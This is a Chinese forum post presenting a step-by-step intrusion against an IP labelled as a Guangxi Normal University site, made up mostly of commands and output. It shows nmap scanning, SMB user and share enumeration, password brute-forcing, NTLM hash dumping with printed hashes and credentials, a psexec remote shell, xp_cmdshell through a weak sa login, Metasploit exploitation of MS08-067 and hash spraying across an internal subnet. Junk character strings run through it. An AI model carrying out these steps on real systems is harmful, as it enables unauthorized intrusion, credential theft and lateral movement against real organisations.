广西师范网站http://202.103.242.241/& z! ]5 \5 {9 B' A6 R3 q
, p' C+ `, q1 Y0 r3 w" T; Sroot@bt:~# nmap -sS -sV 202.103.242.241
1 x- N2 `5 O. C8 j% J+ b( [- V, F7 ~* M4 X
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 21:54 CST y G6 e* Y: P/ H o/ E
/ Z0 ]0 J9 w' K' p$ }Nmap scan report for bogon (202.103.242.241)
9 h$ A( P, b1 P# p
3 z( F2 R9 D9 k: r5 EHost is up (0.00048s latency).% k0 ?- f! B6 I" | P
3 f+ `. y! ]% V& P5 bNot shown: 993 closed ports
- O H2 l* E A# ~- p9 B
. t5 P/ k; K' T$ C `5 h3 pPORT STATE SERVICE VERSION
' X3 L# w( L; D3 y b+ `9 W) t5 ?
135/tcp open mstask Microsoft mstask (task server – c:\winnt\system32\Mstask.exe)
5 ~7 M6 |* N* A% D) v9 \( O$ P
; s% g; X0 q ?6 A% V139/tcp open netbios-ssn
: L/ [1 Z& j) |% B# E2 n
% C3 q& @! J' Z/ M8 e) S445/tcp open microsoft-ds Microsoft Windows 2000 microsoft-ds- x) b) t5 J0 ^- K1 f+ q8 t' n
+ B: I9 {) H: l, D, ^1025/tcp open mstask Microsoft mstask (task server – c:\winnt\system32\Mstask.exe)2 H4 |0 c+ j' H/ b. n
! ?& x" W8 h$ ~& U3 V# G
1026/tcp open msrpc Microsoft Windows RPC6 o4 F5 M! E: M9 Z# n
. t5 S% W2 A* k9 G3372/tcp open msdtc?3 p& x+ c* D0 I) P$ d
4 D% g' A) @1 p9 O# d' |
3389/tcp open ms-term-serv?/ A( s8 J) ^4 e" [9 u* t# X& m5 ^
1 N" n# F& \- q$ j5 M9 x* L6 c) J
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at http://www.insecure.org/cgi-bin/servicefp-submit.cgi :3 i a4 k7 Y- b8 o8 E) w
SF-Port3372-TCP:V=5.59BETA1%I=7%D=2/28%Time=4F4CDC90%P=i686-pc-linux-gnu%r. F7 n, N# y Q( I4 \( l- T
6 D5 n# J9 Z5 L1 @: d g- dSF GetRequest,6,”hO\n\x000Z”)%r(RTSPRequest,6,”hO\n\x000Z”)%r(HTTPOptions* b, _5 P1 I/ R: `3 Q
7 X* P( h' t" {SF:,6,”hO\n\x000Z”)%r(Help,6,”hO\n\x000Z”)%r(SSLSessionReq,6,”hO\n\x000Z”)
: k- K' }8 }7 O: p
# w/ X6 g0 K! _& m# ^5 ~SF:%r(FourOhFourRequest,6,”hO\n\x000Z”)%r(LPDString,6,”hO\n\x000Z”)%r(SIPO6 f+ o7 R ?5 D/ A8 V
% |( ?5 I4 {! X+ A# h& m+ o5 ESF:ptions,6,”hO\n\x000Z”);0 q1 G% I Z+ A* @9 N# ~; F' p2 }
* F9 q+ `" J- w3 eMAC Address: 08:00:27 7:2E:79 (Cadmus Computer Systems)3 p7 v( n0 T+ I" X2 D z6 I
5 y% S; ]3 i! g3 a! s/ X" G, D- u
Service Info: OS: Windows
6 P# D D* r: f8 q
) N5 s" G5 W' a/ ^* iService detection performed. Please report any incorrect results at http://nmap.org/submit/ .
) O( h! r; Q% F+ q% B
2 |; ~8 r* n1 V* q0 LNmap done: 1 IP address (1 host up) scanned in 79.12 seconds
0 h' k: o; U3 L6 F$ t: q. t1 c9 r& _- V& O6 A) X( \4 M
root@bt:/usr/local/share/nmap/scripts# ls -la | grep smb //列出扫描脚本3 I& \" L& }7 L) W9 X) i$ L4 k# s
/ e7 i0 m2 J. ?7 I9 n8 C" T- w: \
-rw-r–r– 1 root root 44055 2011-07-09 07:36 smb-brute.nse
5 C/ k5 D; T. P/ q' ^- O, {" @/ W+ r9 b9 n
-rw-r–r– 1 root root 27691 2011-07-09 07:36 smb-check-vulns.nse
1 J P: Z v6 D/ M: I6 U# v
+ W/ Y9 t6 n0 X3 }# @: ?-rw-r–r– 1 root root 4806 2011-07-09 07:36 smb-enum-domains.nse
# K8 q; I* u) R; P# G- K; o: N" B3 T k! X/ \. }2 x
-rw-r–r– 1 root root 3475 2011-07-09 07:36 smb-enum-groups.nse3 K0 Y5 T3 m1 l' Q C
8 b/ o4 S4 w* L w! Q' [2 K
-rw-r–r– 1 root root 7958 2011-07-09 07:36 smb-enum-processes.nse0 r W; @+ W( c/ _( s: \0 x" w
% f4 n# P+ ]8 \-rw-r–r– 1 root root 12221 2011-07-09 07:36 smb-enum-sessions.nse( B5 p `2 X' ?
/ s% I8 m& P2 b, R1 l-rw-r–r– 1 root root 6014 2011-07-09 07:36 smb-enum-shares.nse
3 x1 T& ~) c8 _3 S4 @' T2 |) N" K) m* h
-rw-r–r– 1 root root 12216 2011-07-09 07:36 smb-enum-users.nse9 J, z3 w' j- B( v+ Y0 \3 p2 s
0 u3 Z9 u5 `' C
-rw-r–r– 1 root root 1658 2011-07-09 07:36 smb-flood.nse
$ |9 J5 Y- U! b5 s* ?2 T* b9 a2 {1 K: D
-rw-r–r– 1 root root 2906 2011-07-09 07:36 smb-os-discovery.nse
: [. Y! C" j1 X [% t0 T0 y/ ]# Y9 m
-rw-r–r– 1 root root 61005 2011-07-09 07:36 smb-psexec.nse
% T9 n6 `1 N- X. `. x6 w4 a3 a; Q' W% s
-rw-r–r– 1 root root 4362 2011-07-09 07:36 smb-security-mode.nse% g4 W+ d. v% n$ k
+ q. b8 t, W" F. v0 e
-rw-r–r– 1 root root 2311 2011-07-09 07:36 smb-server-stats.nse- `# S/ C; P' Y$ m( G o, r) a
1 l* w& H% d" }+ {( K2 K-rw-r–r– 1 root root 13719 2011-07-09 07:36 smb-system-info.nse
0 O# j9 `& h' }; \" A- b' R, P8 C! J% C, \
-rw-r–r– 1 root root 1429 2011-07-09 07:36 smbv2-enabled.nse2 n# u" i" b) }- a: w
1 k! W" V# ^: Q9 n6 d
root@bt:/usr/local/share/nmap/scripts# nmap –script=smb-enum-users.nse 202.103.242.241
$ L. K3 y6 l! h7 L. j3 i/ s
2 _0 v! Q; t' n" `//此乃使用脚本扫描远程机器所存在的账户名
. r- o% ~5 n( X4 A( m r
$ p1 S% e+ @: D- yStarting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 22:12 CST
: Y, H9 ]5 _# ?$ _- [1 N* _( d& Z/ C7 b
Nmap scan report for bogon (202.103.242.241)
9 s/ v8 t; v' a1 U" s4 ~# L
: a: q; m0 b: F1 K# vHost is up (0.00038s latency).1 S! ^% S) s8 [, J- ?) T) D0 U
0 Y5 f H4 }0 l7 i; X; WNot shown: 993 closed ports4 R, n( h5 \1 t1 a) o
* Z$ Y, P# N: K, x! g2 BPORT STATE SERVICE6 i4 I' W/ x1 ^/ L1 F% F$ s5 W
0 r' b2 e5 J3 F2 x ?: J: G9 H4 g
135/tcp open msrpc
) \' d! R& }- a7 o
! S0 D! Y/ [& W139/tcp open netbios-ssn$ {' M3 }5 R' ?4 I1 N) n7 v A
' ] E+ t9 q* L+ i O( d" f445/tcp open microsoft-ds
8 P$ V9 s. w4 O2 b p' S& p& V
. R. u4 @7 ]: M. X, H1025/tcp open NFS-or-IIS. @5 x4 p; x6 O, |' o" C
# Z+ ?/ i, n4 E/ T& D1026/tcp open LSA-or-nterm. z3 k& y3 }& T+ y8 w4 Z
1 w- E x$ M) E9 p |! w0 p e
3372/tcp open msdtc
7 v, B/ @ @3 T/ Q0 ~2 X9 R' `9 n+ v x& ]+ X7 F$ k
3389/tcp open ms-term-serv
0 E" z7 P# A: O3 q* f2 e- F( l( b* C! p/ }% Z
MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)
K; |+ ?3 M# j, Y6 k& M: d3 P/ @
3 S( G+ Q6 z" E, r3 t' W. b+ f; iHost script results:
* u! e |0 \" G$ D$ T9 V1 j" x
| smb-enum-users:
* I( v* O" j0 @1 a: l6 b1 q
) k. F2 N' j7 b5 C$ G|_ Domain: PG-F289F9A8EF3E; Users:Administrator, Guest, test, TsInternetUser //扫描结果
8 u8 K/ u6 U0 Z: E7 z% ^# f6 _( M3 y2 Z$ d; S
Nmap done: 1 IP address (1 host up) scanned in 1.09 seconds
S9 i s' U' Z E! U* \0 h9 u1 W8 U+ {4 U+ E* [4 N5 h: e! T, I
root@bt:/usr/local/share/nmap/scripts# nmap –script=smb-enum-shares.nse 202.103.242.241 : u8 v/ p. X0 J# q7 p% \% w
7 s4 ~' n& t/ j9 L//查看共享
2 f5 _* [" \3 H$ x: l
: H% T; ~9 {% F6 S2 ?3 y/ M' K1 w3 nStarting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 22:15 CST
4 U/ Z: x: t; E! r. r1 j- j. g9 Q1 X' f' n& l, _
Nmap scan report for bogon (202.103.242.241)* Z5 i8 d3 M, y* R7 i; u) Q
) Z9 r8 k( f: |2 T" }
Host is up (0.00035s latency). ^9 T8 \$ [8 C% D) p7 j
+ l* R, V$ ?, D1 q/ z2 FNot shown: 993 closed ports% g9 B% Q% E; _; n* l
- v4 h$ ]4 o% `& `3 s9 D. b
PORT STATE SERVICE
; K! M; O- ?$ f: H4 ^: d2 ]! d- ~
& t/ s3 h" E7 m135/tcp open msrpc
/ f* _9 j/ L5 r2 D1 g+ z& B* P7 Z `! m5 V5 ?1 _
139/tcp open netbios-ssn7 G7 @5 A2 f. x
3 q$ g, Y) o+ R( ~
445/tcp open microsoft-ds
7 }) d3 u# n4 O! |4 t5 B5 p5 ?
* `( j# ]8 K6 y1025/tcp open NFS-or-IIS
5 k2 t* W* H7 L, \3 Y4 J v2 e: Y* Q5 V5 y: Z8 V$ U, s
1026/tcp open LSA-or-nterm
* k. P7 f7 M6 v' q$ \0 G9 _# u$ n# U" t
, f$ M& ?# Q6 a5 A0 p" Z7 Y! \3372/tcp open msdtc
3 Z/ a" K0 n5 x: o7 J1 l
+ F$ T/ }8 S/ Z/ n7 u3389/tcp open ms-term-serv
- \$ X/ N9 m* W" J# L
1 t' E+ U( e; d2 qMAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)
7 F9 T% u$ I( L9 o% t, a" [" {* a
. o& ^2 Z* l& pHost script results:) F* r# Y9 x2 |5 x
6 N6 v" c& r s1 Y* {+ y. l( q8 }
| smb-enum-shares:
1 d' Z. }" d( S. d
( J0 |0 s4 h- k* s7 X' v S| ADMIN$$ A8 \; N: k- ]
2 B8 f) q1 }. f# p0 z. d) I$ \9 y| Anonymous access: <none>
- `6 |# e% ~" T) @) s5 W
( i- W0 F3 P3 i7 U| C$
. m- K# u- f6 { Q6 O g6 ], v* ?0 V$ J! ~; n6 y- q
| Anonymous access: <none>
1 u3 {% w: x3 R- R# W# R0 T8 Q: u! N# O
| IPC$
7 I% K2 C: v/ A
6 @& u9 e: c; G- V+ f|_ Anonymous access: READ
: x& a# _/ }7 l5 v9 a) k* _+ B+ Y3 X
Nmap done: 1 IP address (1 host up) scanned in 1.05 seconds5 _' {5 ]' y5 s% l( q( D- p
, y% y/ i& B; }4 ~4 Proot@bt:/usr/local/share/nmap/scripts# nmap –script=smb-brute.nse 202.103.242.241 + w! t* M5 k3 j
! x- Z9 \, i0 @; o
//获取用户密码
; i( F) B, E0 Y# Z
$ c. u) N0 L; F6 @0 ^Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 22:17 CST3 P3 a1 [, V3 K9 g
/ c1 x/ D# v5 t* v" W8 X7 YNmap scan report for bogon (202.103.242.2418)
0 p. N( I: @: _' e
2 Z3 u: b, r) P! w7 lHost is up (0.00041s latency).
% x' f9 `# Q) n, |3 j6 c+ P8 r, U1 c h; e, y4 j; e) E" k
Not shown: 993 closed ports5 O8 t6 w+ C+ z1 y# H
0 @3 Z9 m5 b0 j% w" ?* n
PORT STATE SERVICE
6 g# C. ~3 R9 R+ ^8 ]! a" x) `6 s4 k- l6 c, L6 a3 ~& z
135/tcp open msrpc
7 s' Y1 l1 ^9 ^" P4 M
! z. `$ X9 i7 j+ O5 E139/tcp open netbios-ssn
( v7 |$ N0 j$ k
5 e' g( B7 \' p1 X O' E; t$ a445/tcp open microsoft-ds: \% E I% }. ]4 ?) O, v6 n
, D1 m# u$ ^' H+ k! ]1025/tcp open NFS-or-IIS
3 m5 ?5 p5 e8 X* B; z% F) e/ n/ q" e: N# \1 ~
1026/tcp open LSA-or-nterm9 q2 Y, n7 Z4 `( v) S$ R7 p
p7 ]" U6 d, y+ c
3372/tcp open msdtc
. n: J% c3 X5 l; S2 y- F2 n
. ~ _5 w2 I1 z+ h3389/tcp open ms-term-serv3 D# j6 Y! |, V3 o) B; D
9 w. s! ]/ H+ O' m4 s
MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)+ L: r2 O+ B ?# v9 _, o9 T, Q! R
9 C$ V+ Y( X- m( m4 C! ^" [. \
Host script results:' ]* S$ ]4 _/ f: t; D
6 l& G6 `. A+ K- ~0 R
| smb-brute:; s! q. m2 q+ E' S1 |
; i% O: B; g o6 |! F1 Madministrator:<blank> => Login was successful
# f( B( D% _9 P) |( c
, y/ A3 ~) P2 h1 `|_ test:123456 => Login was successful7 U, I9 Q$ E" n& R8 q
% N5 W" n Z$ K& k: C4 N$ INmap done: 1 IP address (1 host up) scanned in 28.22 seconds
- e2 `9 X$ B0 k* ^$ W. Q( V9 Z' q
/ }% @- |0 m$ h# N; eroot@bt:~# wget http://swamp.foofus.net/fizzgig/ ... -exe-only.tar.bz2//抓hash# s! [' R( p- P- i9 I* D1 \, w
5 g1 }. y/ V& N% C. s# X& c
root@bt:~# tar -jxvf pwdump6-1.7.2-exe-only.tar.bz2 -C /usr/local/share/nmap/nselib/data I3 r5 D8 G; d' `1 s4 N8 q
4 I& L7 r. {' w: p" r8 {3 T4 O9 L, n, kroot@bt:/usr/local/share/nmap/scripts# wget https://svn.nmap.org/nmap-exp/dev/nmap/scripts/smb-pwdump.nse
, D8 X, \6 T: T! C5 Z: o5 L9 p3 c3 ?- k4 q
root@bt:~# nmap –script=smb-pwdump.nse –script-args=smbuser=test,smbpass=123456 202.103.242.241 -p 135,445,139
" I2 u: w6 W5 y& ] i, l3 d9 p8 P$ e
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-29 00:25 CST
2 T6 `2 I0 ?3 X
0 u$ [" u& c/ i) H/ u% f% I& qNmap scan report for bogon (202.103.242.241)5 Z* z( U8 R2 Q
1 c0 {3 ^& n. p" r: {& NHost is up (0.0012s latency).- C# [( T1 G6 N& }; R$ n: C
6 J! w3 l+ `, t7 _/ aPORT STATE SERVICE9 n, @1 r3 |" l2 ?3 P
# X0 r- b+ O% s8 j& \
135/tcp open msrpc
" z+ }1 e" r- i0 {
- {6 c, z$ ?3 B139/tcp open netbios-ssn
# E* b% W; n6 E( U# e u; x+ m9 o! i- o8 S$ ~9 C
445/tcp open microsoft-ds
! @! W- y( J$ r+ W: I- d& N
. L- }+ B& D7 n& \* G: u9 b% gMAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)
/ T; X' ?" p4 A$ k+ x7 @" Z
4 ?/ s5 v1 n, j9 s( kHost script results:
& x2 U2 E0 i1 e3 G, \$ _1 I2 c, j4 j% h* m
| smb-pwdump:, p, j* g9 ^9 j c; r* \- a
; c9 A2 T2 R2 S7 B1 ~) I# H7 q% r| Administrator:500 => NO PASSWORD*********************:NO PASSWORD*********************
; y' |4 Q% l" D1 T4 [ W
3 z1 K, _( |! ?4 i: s- D7 |' z| Guest:501 => NO PASSWORD*********************:NO PASSWORD*********************0 H* C. ]4 Y4 Z6 C! L
* H9 @2 l3 u# `; u8 l: }7 f% u6 X| test:1002 => 44EFCE164AB921CAAAD3B435B51404EE:32ED87BDB5FDC5E9CBA88547376818D4! r5 G5 n3 w5 B, Q5 Z
7 u* {$ `. {- s$ f3 b|_TsInternetUser:1000 => A63D5FC7F284A6CC341A5A0240EF721E:262A84B3E8D4B1CC32131838448C98D2$ ~' r) } A* w# w
+ H; `. W( I4 h/ B. u
Nmap done: 1 IP address (1 host up) scanned in 1.85 seconds
S2 h" r8 E, O/ E6 X8 Q0 t3 q0 R/ A' i. T( C
C:\Documents and Settings\Administrator\桌面>psexec.exe \\202.103.242.241 -u test //获取一个cmdshell& u8 O3 T8 o+ h3 S; m
! o- R" O8 J1 w1 c
-p 123456 -e cmd.exe
) F7 b g) S" I. r( m+ n! `8 i# Q0 d* ?6 R
PsExec v1.55 – Execute processes remotely
. `# E. L8 x. U9 H6 _: F+ n: a
# h0 a$ ~' V" g5 v2 ? d1 Q0 Q1 UCopyright (C) 2001-2004 Mark Russinovich
" c+ S# Z( e* D: {3 ~; _4 \: ]
6 ]6 Y" `* R& V9 X, m3 @: eSysinternals – www.sysinternals.com0 d# R' I% H% i- s3 S
6 ~. b: W* {4 S* [Microsoft Windows 2000 [Version 5.00.2195]
7 D, u# G# ^3 u- I
2 d, ]4 r' t4 K3 e(C) 版权所有 1985-2000 Microsoft Corp.
: }4 S" n3 c# r2 R$ c R- ]" P+ \$ X! f- G
C:\WINNT\system32>ipconfig
' X3 T' z' C4 p: N
, z8 z2 z1 l# \Windows 2000 IP Configuration3 E& ~7 o3 Y: ]3 @: l' t
4 _$ Q/ h! ?: I3 G# a* |( F- AEthernet adapter 本地连接:
! A, q1 O% r& a- ?5 ^6 ?6 l; h% V3 Y2 C( \4 N- x
Connection-specific DNS Suffix . :
8 c- ?) f1 ]6 T' b/ g$ C8 ]3 X% x: n
IP Address. . . . . . . . . . . . : 202.103.242.241$ J4 U* {) [' l: \0 V+ C
' O) r4 S: B; L) d* E9 @: ^2 J
Subnet Mask . . . . . . . . . . . : 255.255.255.0; \# Y$ c/ g1 f9 P) E; N% }2 L
- r$ {% |' t) j, E/ Z: ]( ~6 {
Default Gateway . . . . . . . . . : 202.103.1.13 }+ r; G" N+ N# |1 k: {
: |+ }4 u6 G5 u! H! B- h/ n; WC:\Documents and Settings\Administrator\桌面\osql>osql.exe -S 202.103.242.241 -U sa -P “123456″ -Q “exec master..xp_cmdshell ＇net user＇ “ //远程登录sa执行命令3 B2 p7 b. M ^. S2 A
. R9 F: v0 ?) h3 B2 F9 T! k% Nroot@bt:/usr/local/share/nmap/scripts# nmap –script=smb-check-vulns.nse 202.103.242.241 //检测目标机器漏洞
& E% }, i1 M, i; _- J# d l, e; m6 I) F0 N9 z7 w
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-29 00:41 CST2 f# h" ?% c9 U: ^. @6 S1 f- U
( W% p9 p5 ?) l+ _9 L/ M9 L; oNmap scan report for bogon (202.103.242.241)
7 a9 z2 f6 l- v6 V' @; V" Q1 p+ z' ?' X* F
Host is up (0.00046s latency).: y2 ]8 e' {- `
. P9 `( K+ }" O1 Q MNot shown: 993 closed ports
~. a9 K! v' o2 g
$ s; y8 Q8 p4 N0 Z6 j3 ?2 G2 ePORT STATE SERVICE2 E, j$ W' D9 i4 D6 A9 j! U
1 c5 N1 h& `# p( n
135/tcp open msrpc8 M% W6 N! e# ^$ J
4 L! W5 K5 {% l/ q {: H139/tcp open netbios-ssn
X2 z) l4 {- M4 P) }! t& `
. V% ^2 a( g8 ^4 N9 }: J8 N/ R445/tcp open microsoft-ds6 s- N5 d* A7 N9 u4 f/ D% W* Y' d' u0 j
4 L4 {2 d, y" t6 e( y3 `1025/tcp open NFS-or-IIS
+ B$ x( m( g5 J" s8 \5 |8 W7 e& U [# P# D# ?2 y
1026/tcp open LSA-or-nterm" p4 ]* g7 P9 a+ H
! L+ ^' d; j% i( f! m3372/tcp open msdtc5 {% L* m4 W, Y) r6 E
' v0 K& \$ Z, \- E. i y) F3389/tcp open ms-term-serv: @* i/ o/ V1 i
/ j! b9 y/ U% ]( i( u y
MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)" D! z/ d* ^& P
9 u1 v$ w- O) I; n
Host script results:1 Q+ a8 t5 X( k9 L
& L, [8 ]9 n1 W| smb-check-vulns:- M/ s. n( P. o- X
K J; o; K" M: q. N
|_ MS08-067: VULNERABLE
5 A g) O- v3 @8 J/ v9 L, I6 P( e# R0 l5 z. v3 Z |
Nmap done: 1 IP address (1 host up) scanned in 1.43 seconds
- y# E8 @& x) M
- A1 g$ \7 N8 x* f( H1 G/ E; froot@bt:~# msfconsole //在msf上利用ms08-067漏洞对目标机器进行溢出0 Q' e2 H- E4 g; X+ F; v
' c3 m4 a7 R: y: b. T ~
msf > search ms08
( s' {' B! L2 W- X* a5 T1 V( g
/ b9 H. ^9 G/ I. Cmsf > use exploit/windows/smb/ms08_067_netapi, z( A: ]+ A! I" T
# d& P; i3 M) ?/ x* W6 Fmsf exploit(ms08_067_netapi) > show options" x$ i: C: w; ]# h- e
: x- ]+ `( @8 r$ A4 {2 }5 omsf exploit(ms08_067_netapi) > set RHOST 202.103.242.241, E G7 v' K& c
* w+ q7 A% Q/ X( u7 dmsf exploit(ms08_067_netapi) > show payloads% p% g5 z: y, R2 c
$ Z6 v0 q/ a2 o6 s/ _' Omsf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp& r& A9 ~2 [2 \2 y
7 p2 F8 V# j+ _6 nmsf exploit(ms08_067_netapi) > exploit6 s/ |& F3 O* U3 t% r$ H5 C
' K; P; ]8 S2 l* k! m
meterpreter >
( y3 o* P7 W0 I2 V7 ~) P$ I+ R4 b
! x( t0 j b' u! [; D# F5 J% WBackground session 2? [y/N] (ctrl+z)" d' a: S1 b/ B/ F. V" H
6 l0 G$ ]# W& _4 |% e# @3 s* h
msf exploit(ms08_067_netapi) > sessions -l
, |; \1 ~5 @& e) h: ?* _9 \: T; F/ l
root@bt:/usr/local/share/nmap/scripts# vim usernames.txt7 n7 h$ R8 ?- U0 F% T
, N+ C& w, j' {* s- a1 C: M- D
test
! I9 Y" E2 b% n5 S2 v3 r6 Z" j2 c
2 U+ H8 J$ S$ _3 B8 Fadministrator6 e o/ j7 l; m
' R. {; s9 L# nroot@bt:/usr/local/share/nmap/scripts# vim password.txt3 Y5 P8 [+ |* K7 j* V4 k, `8 z1 c
# R& z# S3 b) u/ P( y* e$ F44EFCE164AB921CAAAD3B435B51404EE9 q0 t8 p7 K: ]+ U+ m
* |9 H+ I9 r9 M3 G- C6 Iroot@bt:/usr/local/share/nmap/scripts# nmap –script=smb-brute.nse –script-args=userdb=usernames.txt,passdb=password.txt 192.168.1.1-254
! t3 p0 K& S" c* {8 A& [" X. p' W
( G5 G' I) @* h' L' F0 ~ //利用用户名跟获取的hash尝试对整段内网进行登录! w" n4 z# T- N
f, ~6 {% v0 u# ~ L: T5 u' PNmap scan report for 192.168.1.105
7 A; C+ T% @) Q( g3 z* B! b
& y: D! j' Y, M6 p8 ?* B. pHost is up (0.00088s latency).
( K4 O) [& D8 C! k X0 H4 t5 u* F* b+ v% g5 d; b8 Z
Not shown: 993 closed ports3 r9 |) H8 P$ T& A/ {% v
2 g. q* `% E+ N( G5 \: f2 Y X0 S) QPORT STATE SERVICE
& \8 E; k6 A. x+ i- ^8 w/ N" [- \/ ~" q
135/tcp open msrpc
( \) f# _7 o7 T) I& y" ^/ ^+ Z" }
8 j5 {. y3 y* w* b0 P' n) Q( Q139/tcp open netbios-ssn
4 p/ C: x/ V0 E( }0 N z- F& s* |# y' y9 ~# _( j2 y7 c! k
445/tcp open microsoft-ds
|9 k5 i2 o) C5 S. h$ O" p4 V5 J+ k& Y7 ^4 o, q4 F
1025/tcp open NFS-or-IIS( q. w1 K: v7 E, ~/ b8 f
9 G9 Y# \) f$ {. h. a6 }1026/tcp open LSA-or-nterm4 V3 x& c1 }3 K! s
: @* [) q: }% m0 s& i& X; x
3372/tcp open msdtc
) V5 W4 N% O& W- q4 r+ H
1 c) A5 E6 Q3 Z. a/ N3389/tcp open ms-term-serv" h: K- h6 v8 Z/ |
/ Z/ R1 y! [5 w! aMAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)
; m& {* ~9 c6 b6 E( Q0 {& Y, t
! p# R/ C2 B& p+ S' R2 N* g' b) ]Host script results:
- H$ x, _& { l8 N+ |! A% j* [& ?8 b
| smb-brute:
c& N( t- K, y
+ G0 ^$ N) d& `9 Y" x& a|_ administrator:<blank> => Login was successful
+ I. y7 K1 N# h$ R6 N2 T2 U; A0 ]5 H+ e, f- D4 d* o
攻击成功，一个简单的msf+nmap攻击~~·
" F+ m& G3 [5 ?
8 b" S7 a! E1 |; I: E |
发表于 2012-12-4 12:46:42
收藏
支持
反对